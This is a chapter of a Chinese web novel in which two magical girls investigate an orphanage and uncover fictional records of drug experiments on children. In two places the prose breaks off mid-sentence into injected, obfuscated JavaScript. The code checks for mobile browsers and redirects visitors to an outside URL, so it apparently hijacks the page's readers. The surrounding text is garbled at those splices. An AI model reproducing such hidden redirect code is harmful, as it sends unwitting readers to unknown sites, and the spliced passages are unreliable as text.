“还有,请问厕所在哪里?”森山寺未央在对方转身前问道。 “出门对面就是了。”禾草代目说着离开了。 虽然是离开了,但想必是回到了大厅那里,而若是想要通过楼梯前往二楼以上便必须要通过大厅地区,虽然二人对此也有所准备,但这样被防备着也令二人对这里更加警惕了。 “那我们开始练习吧!”有乐羽生说。 【我们必须得发出点动静,这里的房间隔音并不好。】有乐羽生考虑着。 “我准备好了!”森山寺未央说。 【从外部来看右边走廊不应该只有这么短,但墙壁上没有什么痕迹,我觉得应该去二楼以上看看。】森山寺未央点头,【就目前来看没什么值得注意的地方,但我觉得事情没那么简单。一会我去卫生间让手下简单变换成我的样子来你旁边坐着。】 【我觉得这不错,孩子们那边的课程结束应该还有二十分钟左右,我留在这里使用卡祖笛的话就足够发出我们在这里练习的信号了。】有乐羽生掏出了卡祖笛。 【那这里就交给你了,如果有意外情况我会发短信给你。】森山寺未央朝有乐羽生点了点头,没有犹豫离开了房间前往卫生间。 森山寺未央回忆起禾草代目之前的说法,孩子们正在午睡,也就是说不会来看她们的音乐演出。但联系有乐羽生的说明她又觉得这只是个托词,但她无论如何都不理解为何对方要阻止低龄孩子参观表演。 哪怕是限制文化输出,音乐也不应该是被限制的那一部分,毕竟音乐不过是一个没有其它手段的孩子能获得的最低限度的娱乐。闭上眼睛幻想也需要素材,而音乐则是可以通过不讲理的天赋从日常的语句之中迸发而出的。 在这一点上森山寺未央想起了自己的姐姐在二人年幼时写下的那张曲谱,那时二人的爸爸似乎对此非常重视。但随着后来二人的乐队告吹,森山寺未央没有再将精力放在音乐上,而森山寺未雅便也没有了执着于音乐的理由了。 不知道她现在有没有考虑新的谱子呢?森山寺未央心里有些期待。 离开卫生间,禾草代目果然坐在一楼大厅的待客厅沙发处看着窗外发呆。森山寺未央随着她的视线看向窗外,远处的医院建筑挡住了视线。 森山寺未央明白时间紧迫,她迅速穿过楼梯来到了二楼。 与一楼的类似于教学楼的构造不同,二楼的开放空间非常大,中央是由大量的长桌拼凑而成用餐区域。但这里仅仅是餐厅而已,森山寺未央没有在二楼发现厨房,同时一楼也没有厨房。这里的食物来自外界输送,入口是餐厅后方那扇门,门外是通往地面的楼梯。其余一些小房间功能是储物间和衣物浣洗间,以及两间不同性别所属的卫生间。 这食物供给行为与一般的孤儿院做法不相同,大多数这种福利设施会为了节约成本就近为孤儿们统一准备食物再分发,从外部运来食物不仅仅需要额外的食物冷藏和运输成本,还需要考虑孩子们的食量问题。 不过想起这里孩子们的特殊性以及院长的大手笔,森山寺未央暂时先把这个问题放到一边。 这一层右手边也有断开的空间吗,森山寺未央摸向墙壁,心中有了些猜测。 三楼开始就是集体住宿型的居住区域了,楼层比起一二楼矮了些,走廊无采光窗,即使是下午时分那顶端的昏黄照明灯也亮着,与木头隔层一同散发灰尘的气息。 屋内床铺为上下铺,四人一间,带有课桌椅和简单的储物柜,一层16扇毫无区别的木门,多隔间厕所两间,附带洗浴区域,都为女式。 此时所有房间内无人,位置较高的采光窗提供了非常有限的照明,屋内陈设简陋且极少出现带有个人风格的物品,森山寺未央注意到每一个房间内天花板中央都有圆形摄像头。 确认没有遗留的空间后她前往四楼。 四楼与三楼分布完全一致,但卫生间是男式的,同样无人。 森山寺未央回忆自己在一楼教室里见到的场景,那人头数总量不满床位的一半。而且她直到现在依旧没有发现低龄孩子们的身影,多余的隔断空间依然存在,她现在可以确信其中确实隐藏着额外的空间。 接下来她前往五楼。 五楼比起下面两层来说面积少了许多,森山寺未央推测这是因为屋顶的构造原因。这一层的房间都带了门锁,门上带牌,标注屋内空间分别属于这里的管理员,由于现在管理员都在下层工作,所以这一层同样空无一人。 可这样的话,那些更小的孩子们呢?森山寺未央无论如何都没法想出自己漏掉了哪里。 那么答案就很简单了,管理员说了慌,这里根本没有9岁及以下的孩童存在。可按照常理来说这个年龄段的孩子才应该占整个孤儿院孩子人口的大多数,因为孩子们会随着年龄增长因疾病而逐渐走向死亡。 那么现在,那些本来应该在午睡的孩子们究竟是去了哪里呢?森山寺未央看向走廊深处的一面墙,直觉那个特殊空间能解答自己的疑惑,但她决定先探查管理员的房间。 这一层只有八个房间,走廊放着一些杂物,而她之前在一楼看见的管理员加上在给孩子们上课的两位一共有六位左右。现在所有的房间都上了锁,门下无光透出,这是好消息。 她从最靠左的房间开始检查,第一间内做了老年化的设置处理,到处都有扶手和防摔装置,这里是禾草代目的房间,这从书桌上的笔记本上写了她的名字。 房间内也有摄像头,那象征着信息的笔记本也沐浴其目光。森山寺未央发现一旁的书架上放着十几本封皮相似的旧物,她观察四周,从远处取下了其中一份并从死角处自取。 笔记本只有半厘米厚,她速度并关注其中的重点,大致内容是关于孩子们转院和疾病治疗的记录,并含有一些注意事项和提醒。这本笔记本非常旧,最早记录年份是2008年。 纸张飞速翻过,森山寺未央眼中录下重复的或者特殊的字词。 “将办公室的箱子交给司机。”森山寺未央在心里重复着办公室三个字,这所偌大的孤儿院在她看来并没有可以作为办公室的高效房间,周围也没有司机可以走的路。 将这件事记下,她转身去了隔壁的房间。 隔壁个人物品极少,但看得出有人在这里生活,无论是个人物品还是文件都只有最低限度的份量,和酒店一样。她检查了一番就转头去了隔壁房间。 这一房间放着一些孩子们的画,画上的人有很多手臂,房间属于禾草千手。房间内东西不多但因手工含量比隔壁那位极简主义者温馨些许,可能因为其主人手部的残疾,这里并没有什么记录的文档和文具。 接下来的三个房间都没有出现什么值得注意的线索,第七间无人使用,名牌也是空白的,森山寺未央确认时间发现所剩不多,心里有些焦急。 进入最内侧的房间之前,她没有在右侧的墙壁上发现任何入口。 如第七间一样,这里并没有人居住过的痕迹,但森山寺未央看着房间内的陈设没有马上离开,她摸向进门后右手边靠着墙壁的书架后面,在这后方本该是白色墙壁的部分出现了凹陷,再往里就是一条缝,正是双开型电梯门。 “果然如此!”森山寺未央满意地收回了手。 可头上的监控摄像头也提醒着她不要轻举妄动,森山寺未央确认时间,离预定的时间还有不到两分钟了,她决定简单地进行一次探查。 化作影子从缝隙之间穿进电梯门,森山寺未央眼前漆黑一片,她谨慎地攀着边缘摸索,上方一米处有障碍物,而下方深不见底。 如果从这里一跃而下的话应该就能前往孤儿院的隐藏地下区域了吧,森山寺未央心里有了想法,重新化为影子回到了房间内,并一路返回卫生间现形进入了活动室。 教室内,有乐羽生正一边咬着卡祖笛吹奏一边对着窗外发呆,影子离开后森山寺未央拉开门,她迅速站起身来。 【有什么发现吗?】有乐羽生问。 【孤儿院右边的隔离空间内是电梯井,这里五楼的角落里有电梯的门,应该可以通往孤儿院地下。与床位相比一楼上课的孩子们数量太少了。那个管理员说低龄孩童在午睡,但我没有找到她们,这栋楼现在就只有一楼有人。我认为孤儿院即使与人体实验不相关,那些管理员应该也知道些什么秘密。】森山寺未央说。 【辛苦了!】有乐羽生说,【等演出结束后,我们先尝试自行探索额外的区域,如果没能找到能解释再想办法问一下那位管理员吧。】 【好!】森山寺未央点头,【说起来,那位禾草代目管理员和其它几个管理员相比年龄差距还挺大的,她看上去至少已经快四十岁了,孤儿院会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事实上这对于志愿者活动来说并不是一个合适的问题,无论是乐队还是摇滚乐都对于孤儿院中这些有缺陷的孩子们太远了。但这对于希望窥视孩子们的态度的二人来说又是一个很好的问题了。 就从这片鸦雀无声来看,无论是乐队还是摇滚乐都从未拜访过这间红色砖房。 “那大家有喜欢的曲子吗?提出的话我们可以演奏哦?”有乐羽生说。 没有人说话,她们不知道。 “既然如此,那我们就演奏我们自己喜欢的曲子啦!”有乐羽生说着,举起了卡祖笛,森山寺未央也抬起了沙锤。 演奏非常简单,只是将三首耳熟能详的流行曲的旋律和节奏摘取了出来,二人甚至并没有完全按照原版的来,但直到三首歌结束也没有人指出任何错误。 孩子们认真地听着,或者说表现地自己听得很认真。 演奏结束,稀稀拉拉的掌声又响了起来,禾草代目和禾草千手一前一后带着孩子们离开了活动室,门厅处有另一个负责人带着孩子们上楼梯,有乐羽生注意到个别人回头看向了她们,但最后还是随着队伍上了楼。 “今天真是谢谢你们了,孩子们都很开心呢。”禾草代目在活动室门口笑着对二人道谢。 “我们也很高兴能有这样的机会呢。”有乐羽生也笑着回应。 “不过孩子们都很沉默呢,之前没有见过其它志愿者的音乐演出吗?”森山寺未央问道。 “实不相瞒,这些孩子们中的一部分并不能听到声音,也有一部分无法欣赏旋律,不过看到二位的出现她们一定很开心吧。”禾草代目面露适时适度的遗憾。 但依旧没有正面回答问题,森山寺未央猜测这位管理人或许不擅长说谎。 “这一点我们完全没有考虑到,这些是我们的过错,如果有下一次机会的话我们一定会弥补的!”有乐羽生表达出愧疚感。 “你们有这份心意就很好了。”禾草代目取出两张纸交给二人,“这是你们的申请表,要去大厅那里喝杯茶吗?” 有乐羽生明白对方是希望自己离开了。 “怎么敢麻烦你,我们收拾收拾就准备离开这里了,巴士天黑之后就没有班次,我们得抓紧时间啦。”有乐羽生笑着摆了摆手。 “可惜没能看见那些小孩子呢,她们现在还没起床吗?”森山寺未央问道。 “或许是今天孩子们额外贪睡,错过了你们的演出真是可惜,晚些时候说不定要为此大发脾气呢。”禾草代目这样说着,带着二人走向了孤儿院大门,“既然如此就让我送二位去大门口吧?” “等等!我再上个厕所。”森山寺未央说着进入了卫生间。 “我也是,麻烦您稍微等候一下了。”有乐羽生紧跟着进入了卫生间。 【真的完全不给我们和孩子聊天的机会啊!】有乐羽生感到有些头疼。 【如果要想做什么的话就只能趁现在了,我准备去楼上试试看能不能抓个孩子问问。】森山寺未央下定了决心。 【那我给你打掩护,加油!还有带上这个。】有乐羽生施展魔法凝聚魔力,不一会一块青蓝色的棱晶体出现在她手中,森山寺未央接了过去。 【这是临时空间锚点水晶,把它放在什么地方的话近期我就能使用空间转移魔法转移到它所在的位置。】有乐羽生介绍说。 森山寺未央点点头,没有犹豫快速化影离开了卫生间。 孩子们被带上了楼梯之后分别前往了自己的寝室,森山寺未央快速地掠过,很快在二楼卫生间发现了一个落单的小孩,她进入隔间后解除魔法,装作自然地走出来与那小孩碰面。 “你好呀!”森山寺未央装作意外地和她打招呼。 “你好!”那小孩看见森山寺未央显然非常意外欣喜,她的背一下子挺直了,“你是佐佐木希,我猜的对不对?我喜欢你们的演出!我的名字是禾草心卷!” 禾草心卷看个头上去才6-7岁的样子,满脸欣喜与期待地看向森山寺未央,似乎是非常想与她说话但又不知道说些什么的样子。 这到个名字,森山寺未央看向她的面颊和嘴唇,心里明白对方的疾病是心脏问题。 “你猜对啦!很少有人能猜对我们谁是谁呢。谢谢你的喜欢!可惜我们都没来得及和你们说上话,我们明明是为了和你们交流才来这里的呢。”森山寺未央真情实感地说。 “真的吗?我也好想和你们说话,不过我们现在就在说话呢,嘿嘿。”禾草心卷脸颊泛起了红色,“你想和我们说什么呀?老师她不让我们和外面的人说话,不过你偷偷和我说的话我可以偷偷告诉其它人!” 森山寺未央心里有些喜欢这个孩子了。 “其它人也包括比你更小的孩子吗?好可惜她们没有来呀。”森山寺未央蹲下,和禾草心卷平视着说。 “比我更小的孩子?比我更小的孩子不在这里哦!我们都是9岁之后才来这里生活的。”禾草心卷说道。 果然,森山寺未央心想,可这就很奇怪了。 “那些孩子现在在哪里呢?”森山寺未央问。 而这个问题禾草心卷似乎也答不上来,对她来说具体的一个地点很难被答出,不过想法得到验证就已足够,接下来她可以自己去地下看看。 “抱歉,我其实也不知道。”禾草心卷声音很小地低下头说道。 “不需要道歉!心卷是好孩子哦。”森山寺未央没忍住摸了摸对方的脑袋,短发毛茸茸的。 但禾草心卷并没有得到安慰,她依旧没有抬起头。 “其实,我也不是很好的孩子,”她小心翼翼地看着森山寺未央,“好孩子应该回自己房间去了,我是有着不好的念头才偷偷待在二楼的,没想到真的能遇到你们!” 这样说着,她的语气里又有压制不住的欣喜,似乎能与森山寺未央这样面对面说话就是她哪怕冒着犯错的风险也要去试着做的,天大的好事。 “这很奇怪吧,为什么不让你们和我们说话呀?”森山寺未央忍不住问了,“那些书你们也没有收到吧?” “书?你们有带书过来吗?”禾草心卷眼里闪过欣喜,但很快她眼里来之不易的光芒暗淡了下去,“之前也有好心人带着书过来,我都看到了,好多呢,但那些书后来都不见了。老师说我们对外面的社会来说是不合适的人,所以外面的社会中的东西也不适合我们。” 这句话让森山寺未央的心凉了半截,她想起禾草代目自己口里说出的话,不禁对眼前的景象感到无比的荒谬,为何身患不足者成长后会蔑视曾经的自己呢? “那些书,是被送走了吗?”森山寺未央无力地问。 “是的,被送到楼上去了。”禾草心卷点头,随即她眨了眨眼,靠近了森山寺未央,“我听见了,我听见老师说那些东西被送到‘办公室’去了。” 这三个字很快让森山寺未央想起自己之前看到的东西。 【未央,得快一点了。】有乐羽生传音说。 森山寺未央心里一紧,【好,我马上回来。】 她在口袋里掏了掏,想找些什么送给眼前的孩子,最后她只掏出了一盒之前顺手买来的水果糖,她取了一张餐巾纸,拆开糖盒的包装让那些糖球倒在纸巾上,随即包好递给禾草心卷。 “抱歉,我现在只能给你这些,谢谢你。”森山寺未央愧疚地说。 “谢谢!为什么要道歉呢?这个礼物我很喜欢呀?”禾草心卷欣喜地说。 “…不,这是因为你回答了我的问题的谢礼。”森山寺未央说。 一盒水果糖对于禾草心卷来说已经是非常意想不到的好礼物了,她本只是想见两个人一面,说说话,得到一个微笑就很好,可她还得到了散发着香气的糖果。 一盒水果糖是森山寺未央唯一可以递给对方的报酬,她不能留下自己的痕迹,所以连包装盒都不能留给她,她对于自己的无能为力感到愧疚和悲伤。一开始她只是抱着想要找到目标线索的目的而来的,可现在这些孩子站在她面前,她是有希望为她们带去希望的人,那她觉得自己就应该给她们带去希望。 这与游戏中接到任务不同,与作业也不同,森山寺未央想起自己一开始成为魔法少女只是为了治愈姐姐的心理疾病,后来发生了许多事,她所做的一切变得不再有意义。她的力量不再需要为了姐姐而用,并且森山寺未雅自己也成为了身怀力量的人。 魔法少女的力量太强,森山寺未央在受到Evo的袭击时心里也在想,是不是这是获得力量必须承受的代价之一呢?很快她就发现,那并不是代价,而是她需要战胜的敌人。 她需要战胜敌人保护自己和自己周围的人,但除此之外,她现在想为这些孩子做些什么。 “我想给你一份礼物,不对,是你们。”森山寺未央郑重地说。 “真的吗?你还会来看我们吗?”禾草心卷激动地脸都红了,但依然小心地开口问。 森山寺未央没办法给出一个确定的答复,哪怕她此时非常想给这个孩子一个希望,一个承诺,好让她从此有可以期待的东西,但她又担心对方的期待落空。 如果这个时候未雅在这里就好了,森山寺未央忍不住想。 但这样的想法也令她察觉到,有一个可以期待,可以去依赖的人是多么安心的一件事。 “我会的!”森山寺未央说。 禾草心卷紧紧地抓着纸包,轻轻地抱住了森山寺未央的脑袋。 “谢谢你,谢谢你答应我的要求,抱歉,给你造成麻烦了吧?但是我非常的开心,所以哪怕你以后不会来也没关系。”禾草心卷小心翼翼地轻声说,“爱丽丝姐姐也说过会一直看着我们,哪怕她没有来,我们也一直很喜欢她的。” “相信我啦!不过爱丽丝是谁?”森山寺未央抓紧时间问。 “爱丽丝姐姐是这栋屋子里的幽灵哦,偶尔在地上写东西,但天亮后就消失不见啦。”禾草心卷像是在分享朋友之间的趣事一般说道。 但森山寺未央可不是什么小孩子,她很快意识到这其中可能是有魔法在起作用,那爱丽丝大概是仗着这些孩子不被允许与外界接触所以也不担心暴露的问题,大人们知道了也只不过会认为这是“想象中的朋友”而置之不理。 “爱丽丝姐姐什么都知道,还知道医院那边和以前的院长的事情,总说些我们听不懂的话,很有意思。不过她有时候又说让我们不要叫她爱丽丝,又说她就是爱丽丝,好奇怪呢。”禾草心卷回忆着说。 虽然森山寺未央还想再问些什么,可惜时间紧急。 “我必须得走了,但我会记住我们的约定的。”森山寺未央认真地说。 “好的,我也会的。”禾草心卷也认真地回应。 随后森山寺未央回到厕所隔间化影,去五层的最右侧房间内放下水晶,快速回到卫生间洗了个手并正常走了出去。 “抱歉久等啦,我们走吧?”森山寺未央甩着手说。 禾草代目没说什么,带着几人离开了孤儿院,走上那条通往外界的灰白小路。 “感谢您送我们到这里,不过接下来我们自己走就好,不劳烦您送我们了。”有乐羽生说。 “我们还会来看孩子们的!”森山寺未央招手道别。 “既然你们认识路,那我就送到这吧。”禾草代目没说什么,站在原地目送几人。 一直到二人走到拐角处接近医院大门的地方,禾草代目才转身回到孤儿院,远远的,那栋红色小楼的大门关上了,红色再次恢复完整。 森山寺未央将禾草卷心说的东西告诉了有乐羽生。 “那果然还是得先去那个办公室看看吧,不过那个办公室在哪里呢?”有乐羽生思索着说。 “她说楼上,那应该就是在五楼,但我搜索过并没有发现类似办公室的房间。”森山寺未央回忆着自己的搜索过程。 “这个办公室是指谁的办公室呢?看称呼和地位明显不属于那些管理人吧。”有乐羽生说。 “这样说的话那就是孤儿院院长的办公室里,可这家孤儿院的院长就是医院的院长,也就是博蒙才对。而医院的院长办公室离这很远,难道说是有密道吗?可那就和‘楼上’不相符了。”森山寺未央说,“而且那位爱丽丝也是,如果我们能碰上就好了。” 二人遥遥看向远方的红砖楼,与医院区域的建筑格格不入。 “说起来,虽然五楼的面积很小,但天花板是平的呢。”森山寺未央忽然想到。 “这种砖楼的话,一般会在正常楼上的空间里简单布置出一个储物的阁楼,这一栋也是这样吗?”有乐羽生提出。 “这样来说的话那我之前抬手时摸到的天花板其实是电梯的底端吗?”森山寺未央恍然大悟,“这样的话就说得通了!” “那我们现在就回去继续调查吗?现在对方应该大多数都因为我们的离开而放松了警惕吧。”有乐羽生提议说。 “事不宜迟,我们走吧!”森山寺未央点了点头。 40.sex 二人找了一处角落,有乐羽生为二人施展隐身魔法后发动空间魔法,二人瞬间移动到了孤儿院的五楼最右手边的房间。 【就是这里吗?】有乐羽生说。 【接下来我带着这个水晶前往楼上的区域试试看。】森山寺未央捡起之前放在架子角落里的锚点水晶,有乐羽生点了点头。 再次化影从缝隙中穿过,森山寺未央抬起头确认天花板,也就是电梯的底层,她摸索着缝隙从中穿过,很快看见了另一条缝隙,她从中穿过,落脚在了一处柔软的地毯上。 森山寺未央的周围是黑暗的,大量书籍和木质家具混杂着灰尘散发出的味道在这个没有窗户的房间内徘徊,因无出处而无法散开。她适应了一段时间之后就开始观察周围的环境,意外地发现这里并没有监控摄像头的存在,亦或者她没有看到。 【可以了。】森山寺未央说。 下一刻,有乐羽生出现在了这房间内。 【像个很久没人用的仓库,灰尘会很重的样子。】有乐羽生评价道。 【我们的手推车还没出现在这里,趁这个时间,我们开始找找看有用的线索吧。】森山寺未央说着,从口袋里掏了掏,【给你这个,是我从妈妈那里摸来的自制夜视仪,是多功能的哦。】 【谢谢!】有乐羽生接过这突如其来的小发明,夜视仪镜片为绿色,戴上后眼前自动亮起,她不需要光了。【这样一来看文件就方便多了!】 虽然话这样说没错,可这个房间内,“文件”在这栋屋子里的整体占比重到令受了贿赂的裁判都无法视而不见的程度。不仅是二人眼前的书柜内,抽屉里的,还有角落里的筐子里也有阴影存在,更别提那办公桌上也散布着纸张,办公桌下方的抽屉虽然没拉开但想必也充满了类似的东西吧。 【筐里都是外面送来的书籍,这里不用找。书架上的也大多数是出版书,总之先翻翻看抽屉里放好的和桌子上的。】有乐羽生说,森山寺未央点了点头。。 二人开始分工,森山寺未央翻找起了书柜下方的柜子,有乐羽生则是翻找起了办公桌。 书柜上方,出版书籍多数为厚重的一本,灰尘覆盖下森山寺未央勉强能辨认出部分,大多数书名为混杂拉丁语的英语,范围涵盖生物学,医学,现代医学,药理学,以及生物学和其它看名字认不出学科的,教科书。她意识到有人在这里学过什么。 书柜下方的柜子里放着许多纸张泛黄的病例表格,多为打印出来的,只在签名处有着人签字盖章的痕迹,墨水稍微褪色了些,签名是一个M。森山寺未央速读,发现其日期涵盖自2002年到2009年,内容为孤儿院孩子的病情和药物配置,涵盖年龄为9岁以上。 【看这个签名,这些病历是Matora院长留下的吗?这间办公室可能是属于他的旧办公室,他在这里处理过大量孤儿的病例文件。】森山寺未央说道。 【他的办公室在这里的话处理医院那边的事务挺麻烦的吧?而且这里也太隐蔽了,难道说他在躲谁吗?】有乐羽生猜测说。 【说不定在那里也有个办公室,虽然我不理解这个做法吧。不过现任院长倒是完全没有使用这里的意思,不知道她知不知道这里还有这么一个地方。】森山寺未央思索着说。 病历里的内容大多数已经因褪色而模糊不清了,毕竟如果这些文件真的属于以前的院长的话那这些文件都是十多年前的老东西了。 【病例有几百份,没办法带走,我挑一些拍下来。】森山寺未央说。 而有乐羽生则在将桌面上的文件整理在了一起,将其中的一些内容不同的单独取出。 材料摘要: RP-d标本编号:D/0037 净化液体配比:RP-1:RP-L:沉稳素 = 3:1:0.5 操作环境:负压室,隔绝声波影响 实验记录: 第12分钟,样本出现透明化 第17分钟,细胞自发重组,但并未回归RP-1结构 第23分钟,样本突然蒸散,残留微量魔力颗粒,经检测判定为无意识魔性重构启动 结论: 实验失败,但证实RP-L与RP-1的结合具有某种潜在复位可能,建议作为新阶段复苏干预研究预备项目。 【这个,未央,你过来看看这个。】有乐羽生抬头呼唤森山寺未央,她回头绕开办公桌蹲在有乐羽生旁边看向她手中的文件,很快她便明白为何自己被叫过来。 这和她曾经从那位伊提阿姨留下的东西里及其相似,她一瞬间被拉回了那个手足无措的时间里,手脚都变得僵硬了起来。 【如果能把这个带给克拉拉的话绝对会有用吧!】有乐羽生说,【而且虽然我看不太懂其中的内容,但是看这个用词,我们或许找到了关键证物呢。】 【啊,对!】森山寺未央这才回过神来,她拿起手机将其拍了下来。 以及其它的一些实验文件也被一同拍了下来。 编号:RP-H097 时间:2008年11月2日 记录人:M 受试者情况: 性别:女 年龄:6岁 来源:疑似遗传性心肌障碍 初次注射RP-c反应:微弱共振反应,无急性崩解症状 7小时后出现呼吸暂停,回溯脑电图显示β频段同步强烈跳动,与同先例声波标本记录一致 实验评级:判定通过,转交预备系统 注解: 个体虽初判为不稳定状态,但声波共鸣数值可观。推荐纳入AMCS评估队列。 诸如此类信息,看得有乐羽生感到手脚冰凉。其中透露出实验者对受试者那近乎于看作为物品的做法使她产生了强烈的不适感。 “七小时后出现呼吸暂停”,说的好像睡了七小时之后醒了一样。 【这里在打着接受生病的孩子的幌子,实则利用她们的病灶和社会关系少进行实验。错不了的,孤儿院的孩子们就是人体实验的受害者。】有乐羽生深呼吸之后开口说道,她的声音夹杂着颤抖,因为愤怒,也因为压抑愤怒 【…居然已经有了这么长的时间,这里的孩子也都这样无知无觉地被当作试验品看待了这么久的时间吗?】森山寺未央想起那些孩子。 随后,她意识到了那几百份病例所代表的含义,有乐羽生也是。办公室内依旧是昏暗的,但是,她们找到了她们需要的真相。 【这么大量的失踪人口政府居然不管吗?!难道就因为孩子们没有关系人就这样将她们当作试验品随意使用吗?】有乐羽生不顾周围的灰尘反复深呼吸,【那个人,那个管理人是知道这个的,她绝对知道!】 【这里不应该存在,这样的实验不应该存在。】森山寺未央郑重地说。 【我们找出它的所在地之后,它便不会存在下去了。】有乐羽生斩钉截铁地说,【我们直接将找到的证据带走吧,没什么好遮掩的了。】 森山寺未央点头,二人继续开始探查余下的线索。 办公桌左手最下方的抽屉在拉开时出现阻力,它被上了锁,有乐羽生想了想,用了些力将其直接拉开了。一个圆形的药罐滚落出现,容量约三百毫升左右,只有细碎叠声,内部应该是粉末,瓶身没有标识,有乐羽生将其收好准备转交给克拉拉。 以及一张被塑封的照片。 照片被保存地相当完好,除了塑封表面沾了些灰尘外没有任何损坏的痕迹。夜视镜之下画面的颜色不再有参考价值,照片并不算清晰,画面中三人的面部模糊不清,只隐约看出是一对夫妻和她们的女儿,与她们身后那带花园的三层独栋住宅房屋合影。 丈夫和妻子并排,孩子站在二人身前,看身高大概十岁左右,双手环抱在胸前一副不好惹的模样,丈夫笑着扶住孩子的头部,妻子站在一旁微微地笑着。 翻过来,右下方标注了日期:1994年6月1日。是儿童节家庭合影。 照片的结构按有乐羽生的眼光来看并不算专业,而且由于当时的阳光太过明媚而有些过度曝光,幸福心情隔着时间胶片塑封与灰尘传递,但不知为何被锁进最下方的柜子里无人问津。 【我找到一张似乎是家庭合照的照片,应该是院长M的,被扔在最下面的抽屉里锁着,还有一个药罐。】有乐羽生将发现告诉森山寺未央,她凑过来看。 【这个人居然还有妻子和孩子?!】森山寺未央干呕一声,【这个我们带走吧,我回去找克拉拉小姐做画面修复和人脸识别,可能会有收获。】 将照片和罐子收好后,办公桌便没有其它东西可以调查了。 森山寺未央打开书柜的玻璃门用手指一一滑过书籍,取出了那些笔记本和夹在书本里的纸张文件,并开始一一检阅。 “……RP-1-c稳定性仍有下沉趋势,RP-h个体反应逐年减弱。新生组编号049、053、057可能存在共血脉反馈,但未出现持续符号跳频。考虑是否将其并入次级脱落组,以节省主系统负担。 诸如此类的言论占了这些笔记本记录的大多数,森山寺未央从中提取出一些重复的关键词,很快得出了结论:RP-c是某种液体素材,是RP-1经过处理之后的结果,而RP-h则是试验品中产生了“反应”而被重视的批次,RP-E是其次的。 处理信息的同时,她也在处理愤怒和反胃问题。 所以这栋楼里没有低龄孩子出现的原因也得到了解释:孩子们在得到“是否有资质”的结果之前都不会出现在孤儿院,这个测试是定期且在9岁之前不间断的,红砖房里的孩子都是没有展现出资质的那些,在被洗去记忆之后被放进了孤儿院之中生活到生命结束。 那些是失败品,也是幸运儿,是逃出生天的,也是没有希望的。 其中一份单独折起来被夹在笔记本内袋的文件被她展开仔细阅读。 受试者:女 / 7~9岁 (因特殊原因不可考) 时间:1992/2/13 实验项目:定向培养个体筛选RP-C(4.13ver)完整注射反应追踪记录 基因型:CYP2D6 *1/*1, 成瘾易感,高炎性 剂量:标准 第一次注射记录 注射完毕,无明显初期排异反应。体温升高至38.3°C,心率变异性轻度下降。 瞳孔对光反应敏锐,呼吸频正常,对各类型声波无响应。 备注: 受试者对自己所处环境不满,并且希望离开。但就她的身体素质和特征来说,她能待在这里甚至算是管理员的一种仁慈了。但她并没有理解现状,这大概率是其未接受教育的缘故。 根据资料,受试者似乎在过去经历上有特殊之处。与同期不同,她曾有过在实验室以外的区域生活过的经验,同时她的父亲是血湖孤儿但母亲只是普通靶向药物受试者。 第二次注射记录 反应延后出现。约注射后48小时,受试者频繁短期入睡,伴随迷走,交感交替型心律不齐,根据过往经历接受下一段下一阶段实验。 检测脑电后发现与目标出现片段性共振,昏迷状态下对声波刺激尚无反馈。 保留观察,注射剂量维持。 备注: 受试者清醒时询问了观察员关于实验室的问题,态度悲观。推测受试者的前置经历经历对其的精神状态影响很大,有先例表明这种情况会影响到注射效果。 第三次注射记录 延迟反应逐渐清晰。个体对声波模拟产生短暂肌肉痉挛。 备注: 受试者对各种实验的反应逐渐习惯,速度在同期中处于上等,这与她的基因特征相似的先例表现相吻合。她询问了许多关于实验的目的和自己可能会遇到的事情,她无法理解。 第四次注射记录 RP-c浓度轻微上调后,血浆半衰期缩短30%,个体开始表现出魔力感应波动。 声波反应指数在8.7~9.3之间,为迄今为止同期中的最高记录。 皮肤出现纹理结构重塑迹象,但脑波无痛觉反应。 受试者精神波动剧烈。 备注: 为了让受试者的精神波动不影响注射实验结果,我决定尝试与她沟通进行精神安抚,我告诉实验后她的收益,效果甚微。我转为谈论对方曾数次提及的家庭背景,有效,受试者的精神波动状态得到了稳定。 所以我没有告诉她关于她的双亲的真相,那会导致更大的精神波动出现。我尝试向其分享了我的家庭照片,她的注意力非常集中,先例表明这种情况下注射实验效果会提高。 第五次注射记录 今日记录延后,注射交与其它研究员处理。 第六次注射记录 个体波动趋稳,形态未崩解,脑波接近目标前期水平。 备注: 注射实验即将结束,观察期之后受试者的状态若是一直保持良好,那这一期也算是有一个良好的收尾了,记录很有意义,先例值得参考。 这次依旧她问了我一些关于家庭结构的问题,我参考她的态度回答了。 第七次注射记录 体征曲线崩溃,前置模型失效,各数值负向反馈严重。 受试者精神上的抗拒导致波动巨大,注射药物与其本身的血红蛋白细胞出现严重的排斥现象,这样下去继续进行注射的话她的身体状态会崩溃。 实验失败,接下来不进行观察记录,果然在注射实验中加入无控制的精神干涉手段对结果导向的随机性太强了,下次需要在这方面进行控制。 注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778819|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射实验终止,记录为六期。 备注: 早期表现良好的受试者也有一定概率会出现这样的情况,但她之前没有出现任何的预兆。后续她会被转移到孤儿院区域,在那里她不会再接触到任何成瘾性物质。 现在反思起之前我或许不应该在没有先例的情况下对其讲述我的私人事项。但这是否对实验的最终成果有所影响尚且无法验证,这是一次有意义的观察记录,接下来的相似案例的注射实验过程需要进行改动。考虑为其设立声场与氧化应激联合筛选,以缩短临床前迭代周期。 森山寺未央看了看笔记本,并没有签名,但不出意外其主人就是院长M。这份文件上并没有透露出实验室的所在地,只袒露了记录者那空空如也的人性和道德储备。 有乐羽生看见森山寺未央沉默,便凑过去看,并阅读了报告内容。 